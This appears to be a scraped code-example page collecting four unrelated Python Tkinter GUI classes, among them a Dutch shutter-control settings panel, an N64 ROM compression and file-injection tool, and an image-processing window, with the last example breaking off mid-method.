Exemplo n.º 1
0
class Properties(MyFrame):
    def __init__(self, sensors, aansturingen, nb):
        super().__init__(nb, "Properties")
        #lijst van sensorblok objecten.
        self.knoplijst = []
        #kopie lijst van aangesloten modules.
        self.sensors = sensors.copy()
        self.aansturingen = aansturingen.copy()

        self.waardeoption = StringVar(self)
        self.waardeoption.set("Selecteer motor module")
        self.aansturing_id = ''
        self.updownlength = 5

        #Maakt optiemenu voor aansturingen aan.
        self.optiemenu(self.aansturingen)

        rolluiktitel = Label(self,
                             text="Selecteer een rolluik:",
                             background='white')
        rolluiktitel.grid(row=0, column=0, columnspan=1, padx=1, pady=5)
        rolluiktitel.config(font=("Times new roman", 14, "bold"))

        hernoemtitel = Label(self,
                             text="Hernoem de module:",
                             background='white')
        hernoemtitel.grid(row=2, column=0, columnspan=1, pady=2)
        hernoemtitel.config(font=("Times new roman", 12))
        self.hernoemen = Entry(self)
        self.hernoemen.grid(row=2, column=12, columnspan=1, padx=20, pady=1)

        onzichtbaar = Label(self, text="", background='white')
        onzichtbaar.grid(row=3, column=0, columnspan=1, pady=2)

        autotitel = Label(self,
                          text="Automatische besturing:",
                          background='white')
        autotitel.grid(row=5, column=0, columnspan=1, pady=2)
        autotitel.config(font=("Times new roman", 12, "bold"))

        downtimertitel = Label(self, text="Omlaagtijd:", background='white')
        downtimertitel.grid(row=6, column=0, columnspan=1, pady=1)
        downtimertitel.config(font=("Times new roman", 12))
        self.down = Entry(self, validate="key")
        self.down.grid(row=6, column=12, columnspan=1, padx=1, pady=1)
        self.down['validatecommand'] = (self.down.register(self.testupdown),
                                        '%P', '%d')

        uptimertitel = Label(self, text="Omhoogtijd:", background='white')
        uptimertitel.grid(row=7, column=0, columnspan=1, pady=1)
        uptimertitel.config(font=("Times new roman", 12))
        self.up = Entry(self, validate="key")
        self.up.grid(row=7, column=12, columnspan=1, padx=1, pady=1)
        self.up['validatecommand'] = (self.up.register(self.testupdown), '%P',
                                      '%d')

        timerformatlabel = Label(self,
                                 text="Format: hh:mm ",
                                 background='white')
        timerformatlabel.grid(row=8, column=12, columnspan=1, sticky='w')

        self.sensortitel = Label(self,
                                 text='Uitrollen als: ',
                                 background='white')
        self.sensortitel.grid(row=0, column=80, columnspan=1, padx=1, pady=5)
        self.sensortitel.config(font=("Times new roman", 14))

        self.sensortitel2 = Label(self, text='Aan/Uit', background='white')
        self.sensortitel2.grid(row=0, column=120, columnspan=1, padx=1, pady=5)
        self.sensortitel2.config(font=("Times new roman", 14))

        self.okbutton = Button(self, text="Opslaan", command=self.savesettings)
        self.okbutton.grid(row=50, column=120, columnspan=1, padx=1, pady=5)
        self.bouwsensorblok(self.sensors)

        waardelimiet = Label(self,
                             text="*Max temp = 99°C, Max Lux = 9999.",
                             background='white')
        waardelimiet.grid(row=700, column=0, columnspan=1, padx=1, pady=5)
        waardelimiet.config(font=("Times new roman", 11))

        uitleg = Label(
            self,
            text=
            "* indien gebruiken niet is aangevinkt:\n instelling verwijderd voor aansturing.",
            background='white')
        uitleg.grid(row=701, column=0, columnspan=1, padx=1, pady=5)
        uitleg.config(font=("Times new roman", 11))

    #vult knoplijst met sensorobjecten, deze objecten bevatten de invulvelden.
    def bouwsensorblok(self, sensors):
        i = 0  # wordt gebruikt voor het itereren door de sensors lijst en om de rijen aan te passen waarop de invulvelden staan.
        while i < len(sensors):

            self.knoplijst.append(sensorblok(self, self.sensors[i], i + 1))
            i += 1

    #maakt het optiemenu voor het aansturingsmodule aan.
    def optiemenu(self, aansturingen):

        if len(aansturingen) == 0:
            self.x = ["Sluit een motormodule aan"]
        else:
            self.x = []
            for instantie in aansturingen:
                self.x.append(instantie.name)

        self.waardeoption.set("Selecteer motor module")
        self.selecteermotor = OptionMenu(
            self,
            self.waardeoption,
            *self.x,
        )
        self.selecteermotor.grid(row=1, column=0, columnspan=1, padx=1, pady=1)

    #wordt vanuit de mainloop aangeroepen, dit zorgt voor het weergeven van verandering in aangesloten sensoren/aansturingen.
    def update(self, aansturingen, sensors):

        if aansturingen == self.aansturingen and sensors == self.sensors:
            return
        else:
            self.aansturingen = aansturingen.copy()
            self.sensors = sensors.copy()

            for instantie in self.knoplijst:
                instantie.deletewidgets()

            if self.selecteermotor:
                self.selecteermotor.destroy()

            self.bouwsensorblok(sensors)
            self.optiemenu(aansturingen)

    #Hiermee worden de ingevulde waardes per sensor toegevoegd aan de .json file.
    #Dit gebeurt bij de geselecteerde aansturingsmodule.
    #Ook worden er errorbox aangemaakt indien er geen sensor is aangesloten of er geen aansturing is.
    #Ook is het hernoemen van de aansturingsmodule hierin verwerkt.
    def savesettings(self):
        settings = settings_editor.readSettings()

        for A in self.aansturingen:
            if str(self.waardeoption.get()
                   ) == A.name:  #zoeken vanaf aansturing naam > aansturing id.
                self.aansturing_id = A.id

                if len(self.hernoemen.get()) > 0:
                    settings['aansturingen'][
                        self.aansturing_id]['name'] = self.hernoemen.get()
                    settings_editor.writeSettings(settings)

                if len(self.up.get()) == 5 and len(self.down.get()) == 5:
                    settings['aansturingen'][
                        self.aansturing_id]['down'] = self.down.get()
                    settings_editor.writeSettings(settings)
                    settings['aansturingen'][
                        self.aansturing_id]['up'] = self.up.get()
                    settings_editor.writeSettings(settings)

        #schrijf en delete .json file entrys opbasis van aangevinkte checkbox en volledig ingevuld.
        for x in self.knoplijst:
            try:
                if x.checkboxwaarde.get() == 1 and len(
                        x.sensorwaardeblok.get()) > 0:
                    settings['aansturingen'][
                        self.aansturing_id]['sensor_value'][
                            x.sensor.id] = x.functiewaardeblokwaarde + str(
                                float(x.sensorwaardeblok.get()))
                else:
                    del settings['aansturingen'][
                        self.aansturing_id]['sensor_value'][x.sensor.id]
            except KeyError:
                pass

        settings_editor.writeSettings(settings)

    #invul limiet automatische besturing
    def testupdown(self, inStr, acttyp):
        if len(inStr) > self.updownlength:
            return False
        else:
            return True
Exemplo n.º 2
0
class ROMToolGUI:
    def __init__(self, master):
        self.master = master
        master.title("petrie's Happy Fun Time ROM Tool")
        master.wm_iconbitmap(os.getcwd() + "/eyeballfrog.ico")

        #Handle initialization of directories

        if (os.path.isfile(os.getcwd() + '/settings.ini')):
            settingsfile = open(os.getcwd() + '/settings.ini', 'r')
            settings = settingsfile.readlines()
            settingsfile.close()
            self.initarray = [x.rstrip() for x in settings]
        else:
            self.initarray = ['./', './', './', './', './']

        [self.EngToDebug, self.DebugToEng] = ROMtools.makeDEdict()

        #set up notebook tabs

        self.Tabs = ttk.Notebook(master)
        self.CompFrame = ttk.Frame(self.Tabs)
        self.DecompFrame = ttk.Frame(self.Tabs)
        self.ExtractFrame = ttk.Frame(self.Tabs)
        self.InjectFrame = ttk.Frame(self.Tabs)
        self.Tabs.add(self.InjectFrame, text='Inject Files')
        self.Tabs.add(self.ExtractFrame, text='Extract Files')
        self.Tabs.add(self.CompFrame, text='Compress ROM')
        self.Tabs.add(self.DecompFrame, text='Decompress ROM')
        self.Tabs.grid(row=1, column=0, columnspan=4)

        self.close_button = Button(master, text="Done", command=master.destroy)
        self.close_button.grid(column=1, row=2, pady=10, columnspan=2)

        self.master = master

        #ROM compression frame

        self.compROMlabel = Label(self.CompFrame,
                                  text="Decompressed ROM:",
                                  width=30)
        self.compROMlabel.grid(row=0, column=0, columnspan=1, pady=10)

        self.compROMtext = StringVar(master=self.master)
        self.compROMtext.set("No ROM selected")
        self.compROMname = Label(self.CompFrame,
                                 textvariable=self.compROMtext,
                                 width=30,
                                 wraplength=150)
        self.compROMname.grid(row=1, column=0, columnspan=1, pady=10)

        self.compROMtypelabel = Label(self.CompFrame, text="ROM type:")
        self.compROMtypelabel.grid(row=0, column=1, columnspan=1, pady=10)

        self.compROMtype = StringVar(master=self.master)
        self.compROMtype.set("")
        self.compROMtypedisp = Label(self.CompFrame,
                                     textvariable=self.compROMtype)
        self.compROMtypedisp.grid(row=1, column=1, columnspan=2, pady=10)

        self.compROMpath = ""
        self.selectcompROM = Button(self.CompFrame,
                                    text="Select ROM",
                                    command=self.setcompROM)
        self.selectcompROM.grid(row=2, column=0, pady=10)

        self.comp_button = Button(self.CompFrame,
                                  text="Compress",
                                  command=self.compress,
                                  state='disabled')
        self.comp_button.grid(row=2, column=1, pady=10)

        #ROM decompression frame

        self.decompROMlabel = Label(self.DecompFrame,
                                    text="Compressed ROM:",
                                    width=30)
        self.decompROMlabel.grid(row=0, column=0, columnspan=1, pady=10)

        self.decompROMtext = StringVar(master=self.master)
        self.decompROMtext.set("No ROM selected")
        self.decompROMname = Label(self.DecompFrame,
                                   textvariable=self.decompROMtext,
                                   width=30,
                                   wraplength=150)
        self.decompROMname.grid(row=1, column=0, columnspan=1, pady=10)

        self.decompROMtable = StringVar(master=self.master)
        self.decompROMtable.set("")
        self.decompROMtablelabel = Label(self.DecompFrame,
                                         textvariable=self.decompROMtable,
                                         width=20)
        self.decompROMtablelabel.grid(row=0, column=1, columnspan=1, pady=10)

        self.decompROMfiles = StringVar(master=self.master)
        self.decompROMfiles.set("")
        self.decompROMfiledisp = Label(self.DecompFrame,
                                       textvariable=self.decompROMfiles)
        self.decompROMfiledisp.grid(row=1, column=1, columnspan=2, pady=10)

        self.decompROMpath = ""
        self.selectdecompROM = Button(self.DecompFrame,
                                      text="Select ROM",
                                      command=self.setdecompROM)
        self.selectdecompROM.grid(row=2, column=0, pady=10)

        self.decomp_button = Button(self.DecompFrame,
                                    text="Decompress",
                                    command=self.decompress,
                                    state='disabled')
        self.decomp_button.grid(row=2, column=1, pady=10)

        #File Extraction frame

        self.extractROMlabel = Label(self.ExtractFrame,
                                     text="Source ROM:",
                                     width=25)
        self.extractROMlabel.grid(row=0, column=0, columnspan=1, pady=10)

        self.extractROMtext = StringVar(master=self.master)
        self.extractROMtext.set("No ROM selected")
        self.extractROMname = Label(self.ExtractFrame,
                                    textvariable=self.extractROMtext,
                                    width=25,
                                    wraplength=150)
        self.extractROMname.grid(row=1, column=0, columnspan=1, pady=10)

        self.extractROMpath = ""
        self.selectdecompROM = Button(self.ExtractFrame,
                                      text="Select ROM",
                                      command=self.setextractROM)
        self.selectdecompROM.grid(row=3, column=0, pady=10)

        self.extractROMtypelabel = Label(self.ExtractFrame, text="ROM type:")
        self.extractROMtypelabel.grid(row=0, column=1, columnspan=1, pady=10)

        self.extractROMtype = StringVar(master=self.master)
        self.extractROMtype.set("")
        self.extractROMtypedisp = Label(self.ExtractFrame,
                                        textvariable=self.extractROMtype)
        self.extractROMtypedisp.grid(row=1, column=1, pady=10)

        self.extract_button = Button(self.ExtractFrame,
                                     text="Extract",
                                     command=self.extract,
                                     state='disabled')
        self.extract_button.grid(row=3, column=2, pady=20)

        self.extractnameslabel = Label(self.ExtractFrame,
                                       text="Scene Names",
                                       width=25)
        self.extractnameslabel.grid(row=0, column=2, pady=10)

        self.extractnames = IntVar(master=self.master)
        self.extractR1 = Radiobutton(self.ExtractFrame,
                                     text="English",
                                     variable=self.extractnames,
                                     value=0)
        self.extractR1.grid(column=2, row=1)

        self.extractR2 = Radiobutton(self.ExtractFrame,
                                     text="Debug",
                                     variable=self.extractnames,
                                     value=1)
        self.extractR2.grid(column=2, row=2)

        #File Injection frame

        self.injectROMlabel = Label(self.InjectFrame,
                                    text="Host ROM:",
                                    width=20)
        self.injectROMlabel.grid(row=0, column=0, columnspan=1, pady=10)

        self.injectROMtext = StringVar(master=self.master)
        self.injectROMtext.set("No ROM selected")
        self.injectROMname = Label(self.InjectFrame,
                                   textvariable=self.injectROMtext,
                                   width=20,
                                   wraplength=150)
        self.injectROMname.grid(row=1, column=0, pady=10)

        self.injectROMpath = ""
        self.selectinjectROM = Button(self.InjectFrame,
                                      text="Select ROM",
                                      command=self.setinjectROM)
        self.selectinjectROM.grid(row=3, column=0, pady=10)

        self.injectROMlabel = Label(self.InjectFrame,
                                    text="File Directory:",
                                    width=20)
        self.injectROMlabel.grid(row=0, column=1, pady=10)

        self.injectfoldertext = StringVar(master=self.master)
        self.injectfoldertext.set("No directory selected")
        self.injectfoldername = Label(self.InjectFrame,
                                      textvariable=self.injectfoldertext,
                                      width=20,
                                      wraplength=150)
        self.injectfoldername.grid(row=1, column=1, pady=10)

        # self.injectROMtypelabel = Label(self.InjectFrame,text = "ROM type:",width = 20)
        # self.injectROMtypelabel.grid(row = 0, column = 2, columnspan = 1,pady = 10)

        self.injectROMtypelabel = StringVar(master=self.master)
        self.injectROMtype = ""
        self.injectROMtypelabel.set("")
        self.injectROMtypedisp = Label(self.InjectFrame,
                                       textvariable=self.injectROMtypelabel)
        self.injectROMtypedisp.grid(row=2, column=0, pady=10)

        self.injectroomstartlabel = Label(self.InjectFrame,
                                          text="Boot to scene:")
        self.injectroomstartlabel.grid(row=0, column=2, columnspan=1, pady=10)

        self.bootscene = StringVar(master=self.master)
        self.sceneopts = ['Title Screen']
        self.bootscene.set('Title Screen')
        self.scenedict = {}
        self.scenemenu = OptionMenu(self.InjectFrame, self.bootscene,
                                    *self.sceneopts)
        self.scenemenu.config(width=15)
        self.scenemenu.grid(row=1, column=2, pady=10)

        self.roomnum = StringVar(master=self.master)
        self.rooment = Entry(self.InjectFrame,
                             textvariable=self.roomnum,
                             exportselection=0)
        self.rooment.grid(row=2, column=2, pady=10)

        self.injectfolderpath = ""
        self.selectinjectfolder = Button(self.InjectFrame,
                                         text="Directory",
                                         command=self.setinjectfolder)
        self.selectinjectfolder.grid(row=3, column=1, pady=10)

        self.injectnames = IntVar(master=self.master)
        self.injectnamescheck = Checkbutton(self.InjectFrame,
                                            text="Debug names",
                                            variable=self.injectnames)
        self.injectnamescheck.grid(row=2, column=1)

        self.inject_button = Button(self.InjectFrame,
                                    text="Inject",
                                    command=self.inject,
                                    state='disabled')
        self.inject_button.grid(row=3, column=2, pady=10)

    def storesettings(self):

        settingsfile = open(os.getcwd() + '/settings.ini', 'w')
        settings = [x + '\n' for x in self.initarray]
        settingsfile.writelines(settings)
        settingsfile.close()

    def compress(self):

        self.comp_button.configure(state='disabled')

        spath = filedialog.asksaveasfilename(filetypes=(("N64 ROM files",
                                                         "*.z64"),
                                                        ("All files", "*.*")),
                                             initialdir=self.initarray[0])

        if (len(spath) == 0):
            self.comp_button.configure(state='normal')
            return -1

        if (self.compROMtype.get() == 'Unknown'):
            popupmsg(
                'Warning',
                'Using default compression for unknown ROM. This may cause errors.'
            )

        ROMtools.compress(self.compROMpath, spath)

        popupmsg('Success', 'ROM compressed.')
        self.comp_button.configure(state='normal')

    def setcompROM(self):
        rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
                                                       "*.z64"), ("All files",
                                                                  "*.*")),
                                           initialdir=self.initarray[0])

        if (len(rpath) > 0):
            self.compROMpath = rpath

            self.initarray[0] = os.path.dirname(self.compROMpath)
            self.storesettings()

            self.compROMtext.set(os.path.basename(self.compROMpath))
            self.comp_button.configure(state='normal')

            self.compROMtype.set(ROMtools.findROMtype(self.compROMpath)[0])

    def decompress(self):
        self.decomp_button.configure(state='disabled')

        spath = filedialog.asksaveasfilename(filetypes=(("N64 ROM files",
                                                         "*.z64"),
                                                        ("All files", "*.*")),
                                             initialdir=self.initarray[1])

        if (len(spath) == 0):
            self.decomp_button.configure(state='normal')
            return -1

        ROMtools.decompress(self.decompROMpath, spath)

        popupmsg('Success', 'ROM decompressed.')
        self.decomp_button.configure(state='normal')

    def setdecompROM(self):
        rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
                                                       "*.z64"), ("All files",
                                                                  "*.*")),
                                           initialdir=self.initarray[1])

        if (len(rpath) > 0):
            self.decompROMpath = rpath

            self.initarray[1] = os.path.dirname(self.decompROMpath)
            self.storesettings()

            self.decompROMtext.set(os.path.basename(self.decompROMpath))
            self.decomp_button.configure(state='normal')

            ROMtype = ROMtools.findROMtype(self.decompROMpath)
            self.decompROMtable.set('File table at 0x' +
                                    '{0:X}'.format(ROMtype[1]))
            self.decompROMfiles.set('Number of files: ' + str(ROMtype[2]))

    def setextractROM(self):
        rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
                                                       "*.z64"), ("All files",
                                                                  "*.*")),
                                           initialdir=self.initarray[2])

        if (len(rpath) > 0):
            self.extractROMpath = rpath

            self.initarray[2] = os.path.dirname(self.extractROMpath)
            self.storesettings()

            self.extractROMtext.set(os.path.basename(self.extractROMpath))
            self.extract_button.configure(state='normal')

            self.extractROMtype.set(
                ROMtools.findROMtype(self.extractROMpath)[0])

    def extract(self):
        self.extract_button.configure(state='disabled')

        spath = filedialog.askdirectory(initialdir=self.initarray[2])

        if (len(spath) == 0):
            self.extract_button.configure(state='normal')
            return -1

        status = ROMtools.extractall(self.extractROMpath, spath,
                                     self.extractnames.get())

        if (status == -1):
            popupmsg('Error', 'This ROM type is currently not supported.')
        if (status == -2):
            popupmsg('Error', 'ROM info file does not match ROM.')
        else:
            popupmsg('Success', 'Files Extracted.')

        self.extract_button.configure(state='normal')

    def setinjectROM(self):
        rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
                                                       "*.z64"), ("All files",
                                                                  "*.*")),
                                           initialdir=self.initarray[3])

        if (len(rpath) > 0):
            self.injectROMpath = rpath

            self.initarray[3] = os.path.dirname(self.injectROMpath)
            self.storesettings()

            self.injectROMtype = ROMtools.findROMtype(self.injectROMpath)[0]
            self.injectROMtypelabel.set("ROM type: " + self.injectROMtype)

            self.injectROMtext.set(os.path.basename(self.injectROMpath))

            [scenes,
             self.scenedict] = ROMtools.makescenedict(self.injectROMtype)

            self.sceneopts = [(self.DebugToEng[x]).replace('_', ' ')
                              for x in scenes]

            self.scenemenu.destroy()
            self.bootscene.set('Title Screen')
            self.scenemenu = OptionMenu(self.InjectFrame, self.bootscene,
                                        'Title Screen', *self.sceneopts)
            self.scenemenu.config(width=15)
            self.scenemenu.grid(row=1, column=2, pady=10)

            if (len(self.injectfolderpath) > 0):
                self.inject_button.configure(state='normal')

    def setinjectfolder(self):
        spath = filedialog.askdirectory(initialdir=self.initarray[4])

        if (len(spath) > 0):
            self.injectfolderpath = spath

            self.initarray[4] = spath
            self.storesettings()

            ind = spath.rfind('/') + 1

            self.injectfoldertext.set(spath[ind:])

            if (len(self.injectROMpath) > 0):
                self.inject_button.configure(state='normal')

    def inject(self):
        self.inject_button.configure(state='disabled')

        status = ROMtools.injectall(self.injectROMpath, self.injectfolderpath,
                                    self.injectnames.get())

        if (status == -1):
            popupmsg('Error', 'This ROM type is currently not supported.')
        elif (status == -2):
            popupmsg('Error', 'ROM info file does not match ROM.')
        elif (status == -3):
            popupmsg(
                'Error',
                'Injected file table does not match ROM file table.\nCheck your ROM version.'
            )
        elif (self.bootscene.get() == 'Title Screen'):
            print('Skipping')
            #ROMtools.fixboot(self.injectROMpath)
        elif (not (self.roomnum.get().isnumeric())):
            popupmsg(
                'Warning',
                'Files injected.\nHowever, starting room number was invalid.')
            ROMtools.fixboot(self.injectROMpath)
        else:
            scenename = self.EngToDebug[self.bootscene.get().replace(' ', '_')]
            roomnum = int(self.roomnum.get())
            ent = ROMtools.EntranceDict.get(scenename, 'Unknown')

            if (ent == 'Unknown'):
                popupmsg(
                    'Warning',
                    'Files injected.\nHowever, booting to the chosen scene is currently unsupported.'
                )
                ROMtools.fixboot(self.injectROMpath)
                self.inject_button.configure(state='normal')
                return

            status = ROMtools.loadtoroom(self.injectROMpath,
                                         ROMtools.EntranceDict.get(scenename),
                                         self.scenedict.get(scenename),
                                         roomnum)
            if (status == -1):
                popupmsg(
                    'Warning',
                    'Files injected.\nHowever, booting to scenes with multiple setups currently unsupported'
                )
                ROMtools.fixboot(self.injectROMpath)
            elif (status == -2):
                popupmsg(
                    'Warning',
                    'Files injected.\nHowever, the boot modifier did not recognize the ROM. This error should be impossible.'
                )
                ROMtools.fixboot(self.injectROMpath)
            elif (status == -3):
                popupmsg(
                    'Warning',
                    'Files injected.\nHowever, the room index was out of range.'
                )
                ROMtools.fixboot(self.injectROMpath)

        self.inject_button.configure(state='normal')
Exemplo n.º 3
0
class Window:
    def __init__(self):
        self.root = Tk()
        self.root.title("Image Processing")
        self.image_frame = Frame(self.root)
        self.canvas = Canvas(self.image_frame)
        self.canvas.pack()
        self.options_frame = Frame(self.root)
        self.options_frame.pack(side='top')
        self.image_frame.pack()
        self.image = None
        self.image_processor = ImageProcessor
        self.tkImage = None
        self.mode = 'none'
        self.current_option = "Reset Image"
        self.create_menu_bar()
        self.root.after(100, self.run_top_level_windows)
        self.root.mainloop()

    def run_top_level_windows(self):
        """
        Creates top level window which describes the application's function to the user.
        :return: None
        """
        self.root.withdraw()
        top = Toplevel()
        top.title("About image processing application.")
        message = Message(
            top,
            text=
            "This application is used to process image files.  Begin by hitting Open Image "
            "under Options on the title bar and entering the name of a file stored in the "
            "images folder.",
            width=300)
        message.pack()

        def button_hit():
            """
            Actions for when the continue button on the top level window is hit.
            :return: None
            """
            top.destroy()
            self.root.deiconify()
            w, h = self.root.winfo_screenwidth(), self.root.winfo_screenheight(
            )
            self.root.geometry("%dx%d+0+0" % (w, h))

        button = Button(top, text='continue', command=button_hit)
        button.pack()

    def create_menu_bar(self):
        """
        Adds items to the title bar at the top left of the screen. The user can use these to switch between different
        functions of the application or to exit.
        :return: None
        """
        self.menubar = Menu(self.root)

        # create a pulldown menu, and add it to the menu bar
        self.option_menu = Menu(self.menubar, tearoff=0)
        self.option_menu.add_command(label="Open Image",
                                     command=self.open_image_option)
        self.option_menu.add_command(label="Image Processing",
                                     command=self.image_processing_option)
        self.option_menu.add_separator()
        self.option_menu.add_command(label="Save", command=self.save)
        self.option_menu.add_command(label="Exit", command=quit)
        self.menubar.add_cascade(label="Options", menu=self.option_menu)
        self.root.config(menu=self.menubar)

    def open_image_option(self):
        """
        Actions taken when user selects to open an image in the application.
        :return: None
        """
        self.cleanup_option_frame()
        self.mode = 'open image'
        self.entry = Entry(self.options_frame)
        self.entry.pack(side='left')

        def set_image():
            """
            Sets the application to the user's selected image
            :return: None
            """
            self.set_image(self.entry.get())
            self.cleanup_option_frame()
            self.mode = 'none'

        self.get_image_button = Button(self.options_frame,
                                       text="Get Image",
                                       command=set_image)
        self.get_image_button.pack(side='left')

    def image_processing_option(self):
        """
        Actions when user selects the image processing option.  Allows user to change between and execute the different
        image processing operations.
        :return: None
        """
        self.cleanup_option_frame()
        if self.image is None:
            return
        self.mode = 'image processing'
        self.var = StringVar(self.options_frame)
        self.var.set("Reset Image")
        self.options = OptionMenu(self.options_frame, self.var, "Reset Image",
                                  "Tint Color", "Trace Edges", "Re-size",
                                  "Grayscale", "Black and White",
                                  "Change Saturation", "Invert Color",
                                  "Average Color", "Sepia Tone")
        self.options.pack(side="left")

        def option_selected(*_):
            """
            Switches to the type of image processing that the user selected.
            :param _: Unused parameter, necessary to make function a callback for a Stringvar.
            :return: None
            """
            self.cleanup_image_processing_options()
            if self.var.get() == "Reset Image":
                self.current_option = "Reset Image"
                self.image_processor.reset_image()
                self.update_image()
            elif self.var.get() == "Tint Color":
                self.current_option = "Tint Color"
                self.var2 = StringVar(self.options_frame)
                self.var2.set("Red")
                self.color_options = OptionMenu(self.options_frame, self.var2,
                                                "Red", "Orange", "Yellow",
                                                "Green", "Blue", "Cyan",
                                                "Magenta", "Violet")
                self.color_options.pack(side='left')

                def change_color(*_):
                    """
                    Tints the image the color that the user selects.
                    :param _: Unused. Necessary to make function a callback function
                    :return:
                    """
                    self.image_processor.color_filter(self.var2.get())
                    self.update_image()

                self.var2.trace('w', change_color)

            elif self.var.get() == "Trace Edges":
                self.current_option = "Trace Edges"
                self.image_processor.edge_detection()
                self.update_image()

            elif self.var.get() == "Re-size":
                self.current_option = "Re-size"
                self.scale = Scale(self.options_frame,
                                   from_=.1,
                                   to=3,
                                   orient=HORIZONTAL,
                                   resolution=.1)
                self.scale.pack(side='left')

                def resize():
                    """
                    Re-sizes image by multiplying the dimensions by the user's input scale factor.
                    :return: None
                    """
                    self.image_processor.resize(self.scale.get())
                    self.update_image()

                self.scale_button = Button(self.options_frame,
                                           text='Scale',
                                           command=resize)
                self.scale_button.pack(side='left')

            elif self.var.get() == "Grayscale":
                self.current_option = "Grayscale"
                self.image_processor.convert_to_grayscale()
                self.update_image()

            elif self.var.get() == "Black and White":
                self.current_option = "Black and White"
                self.image_processor.convert_to_black_and_white()
                self.update_image()

            elif self.var.get() == "Change Saturation":
                self.current_option = "Change Saturation"
                self.scale = Scale(self.options_frame,
                                   from_=0,
                                   to=2,
                                   orient=HORIZONTAL,
                                   resolution=.1)
                self.scale.pack(side='left')

                def change_saturation():
                    """
                    Modifies the saturation by the user's input modification factor.
                    :return: None
                    """
                    self.image_processor.modify_saturation(self.scale.get())
                    self.update_image()

                self.scale_button = Button(self.options_frame,
                                           text="Change Saturation",
                                           command=change_saturation)
                self.scale_button.pack()

            elif self.var.get() == "Invert Color":
                self.current_option = "Invert Color"
                self.image_processor.invert_colors()
                self.update_image()

            elif self.var.get() == "Average Color":
                self.current_option = "Average Color"
                self.image_processor.average_pixel_color()
                self.update_image()

            elif self.var.get() == "Sepia Tone":
                self.current_option = "Sepia Tone"
                self.image_processor.sepia_tone()
                self.update_image()

        self.var.trace("w", option_selected)

    def cleanup_option_frame(self):
        """
        Removes widgets from option frame.
        :return: None
        """
        if self.mode == "open image":
            self.entry.destroy()
            self.get_image_button.destroy()
        elif self.mode == "image processing":
            self.options.destroy()
            self.cleanup_image_processing_options()

    def cleanup_image_processing_options(self):
        """
        Removes widgets used for specific image processing options.
        :return: None
        """
        if self.current_option == "Tint Color":
            self.color_options.destroy()
        elif self.current_option == "Re-size" or self.current_option == "Change Saturation":
            self.scale.destroy()
            self.scale_button.destroy()

    def set_image(self, name):
        """
        Loads image from file in the images/ folder.
        :param name: name of file as a String.
        :return: None
        """
        try:
            self.image = Image.open("images/" + name)
        except:
            return
        self.image_processor = ImageProcessor(self.image)
        self.image_processor.fit_to_screen(self.root.winfo_screenwidth(),
                                           self.root.winfo_screenheight())
        self.update_image()

    def save(self):
        """
        Save current image in images/ folder with the name output.jpg
        :return: None
        """
        self.image.save("images/output.jpg")

    def update_image(self):
        """
        Updates the application to display the current image from the ImageProcessor object.
        :return: None
        """
        self.image = self.image_processor.image
        self.tkImage = ImageTk.PhotoImage(self.image)
        self.update_canvas()

    def update_canvas(self):
        """
        Updates canvas.  Do not call directly, instead call update_image.
        :return: None
        """
        self.canvas.delete(ALL)
        self.canvas.configure(width=self.image.size[0],
                              height=self.image.size[1])
        self.canvas.create_image(0, 0, image=self.tkImage, anchor=NW)
        self.canvas.update()
Exemplo n.º 4
0
Arquivo: main.py Projeto: kr1/roqba
class Application(Frame):
    def __init__(self, master=None):
        Frame.__init__(self, master)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((host, port))
        self.grid()
        self.columnconfigure(0, minsize=100)
        self.columnconfigure(1, minsize=200)
        self.columnconfigure(2, minsize=200)
        self.columnconfigure(3, minsize=150)
        self.columnconfigure(4, minsize=150)
        self.columnconfigure(5, minsize=150)
        self.columnconfigure(6, minsize=150)
        self.create_widgets()
        self.settables = self.assemble_settables()
        self.gui_logger = logging.getLogger('gui')
        self.request_update()

    def create_widgets(self):
        self.create_monitor()
        self.create_check_buttons()
        self.create_ranges()
        self.create_scales()
        self.create_radio_buttons()
        self.create_voices()
        self.quitButton = Button(self, text='Quit', command=self.quit)
        self.quitButton.grid(columnspan=7, sticky=E + W)

    def assemble_settables(self):
        settables = self.winfo_children()
        for w in settables:
            settables += w.winfo_children()
        return [w for w in settables if w.__class__.__name__ in ['Scale', 'Checkbutton']]

    def create_radio_buttons(self):
        # Scale related
        entries = ['DIATONIC', 'HARMONIC', 'MELODIC', 'PENTATONIC', 'PENTA_MINOR',
                   'GREEK_CHROMATIC', 'GREEK_ENHARMONIC']
        self.scale = StringVar()
        self.scale.set('DIATONIC')
        self.rb_frame = Frame(self)
        for e in entries:
            rb = Radiobutton(self.rb_frame, value=e, text=e, anchor=W,
                             command=self.send_scale, variable=self.scale)
            rb.grid(row=len(self.rb_frame.winfo_children()), sticky=W)
        self.rb_frame.grid(column=1, row=len(self.grid_slaves(column=1)), rowspan=3)

    def create_monitor(self):
        self.monitor_frame = LabelFrame(self, text="Monitor and Transport")
        this_cycle = Scale(self.monitor_frame, label='cycle_pos', orient=HORIZONTAL,
                           from_=1, to=16, resolution=1)
        this_cycle.disable, this_cycle.enable = (None, None)
        this_cycle.ref = 'cycle_pos'
        this_cycle.grid(column=0, row=0, sticky=E + W)
        self.updateButton = Button(self.monitor_frame,
                                   text='Reload all Settings',
                                   command=self.request_update)
        self.updateButton.grid(row=1, sticky=E + W)
        self.ForceCaesuraButton = Button(self.monitor_frame,
                                         text='Force Caesura',
                                         command=self.force_caesura)
        self.ForceCaesuraButton.grid(row=2, sticky=E + W)
        self.saveBehaviourButton = Button(self.monitor_frame,
                                          text='Save current behaviour',
                                          command=self.request_saving_behaviour)
        self.saveBehaviourButton.grid(row=3, sticky=E + W)
        self.saveBehaviourNameEntry = Entry(self.monitor_frame)
        self.saveBehaviourNameEntry.grid(row=4, sticky=E + W)
        self.saveBehaviourNameEntry.bind('<KeyRelease>', self.request_saving_behaviour)
        self.selected_behaviour = StringVar()
        self.selected_behaviour.trace('w', self.new_behaviour_chosen)
        self.savedBehavioursMenu = OptionMenu(self.monitor_frame,
                                              self.selected_behaviour, None,)
        self.savedBehavioursMenu.grid(row=5, sticky=E + W)
        self.monitor_frame.grid(column=0, row=10, sticky=E + W)

    def request_update(self):
        self.send({'sys': 'update'})

    def request_saving_behaviour(self, event=None):
        """callback for save behaviour button and textentry"""
        if event and event.widget == self.saveBehaviourNameEntry:
            if event.keysym == 'Return':
